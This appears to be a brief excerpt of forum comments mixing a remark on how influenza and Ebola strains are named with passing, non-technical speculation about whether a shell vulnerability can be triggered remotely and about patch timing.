H1N1 is a specific strain of a family of viruses known as influenza. Ebola is caused by multiple virus strains, too, each with their own origin name. Ebola strains [wikipedia.org]
Re: (Score:2)
Only if the shell can be executed from the outside while also providing arbitrary values for any environment variable. The latter part is not true, I'm pretty sure...
Re: (Score:2)
When these things happen users typically have to wait until the next patch Tuesday.